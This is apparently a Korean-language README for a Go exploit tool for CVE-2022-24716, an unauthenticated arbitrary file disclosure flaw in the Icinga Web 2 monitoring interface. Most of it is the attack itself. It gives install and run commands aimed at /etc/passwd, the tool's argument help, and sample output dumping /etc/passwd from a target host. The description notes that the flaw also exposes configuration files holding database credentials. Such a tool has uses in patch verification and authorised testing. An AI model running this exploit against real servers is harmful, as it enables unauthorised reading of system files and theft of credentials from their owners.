
CVE-2022-24716 (임의 파일 노출 Icingaweb2)
Icinga Web 2는 오픈 소스 모니터링 웹 인터페이스, 프레임워크 및 명령줄 인터페이스입니다. 인증되지 않은 사용자는 웹 서버에서 사용자 접근 가능한 로컬 시스템 파일의 내용을 유출할 수 있으며, 여기에는 데이터베이스 자격 증명이 포함된 icingaweb2 구성 파일이 포함됩니다.
CVE-2022-24716는 golang이 필요하며, 다운로드는 다음 명령어를 사용하세요:
go install -v github.com/joaoviictorti/CVE-2022-24716@latest
go run .\CVE-2022-24716.go -u http://localhost -f /etc/passwd
go run .\CVE-2022-24716.go -u http://localhost -f /etc/passwd -p http://127.0.0.1:8080
이것은 도구의 도움말을 표시합니다. 지원하는 모든 스위치는 다음과 같습니다:
usage: CVE-2022-24716 [-h|--help] -u|--url "<value>" -f|--file "<value>"
[-p|--proxy "<value>"]
CVE-2022-24716 - Arbitrary File Disclosure
Arguments:
-h --help Print help information
-u --url Insert url
-f --file Insert file
-p --proxy Insert proxy
go run .\CVE-2022-24716.go -u http://icinga.cerberus.local:8080 -f /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
......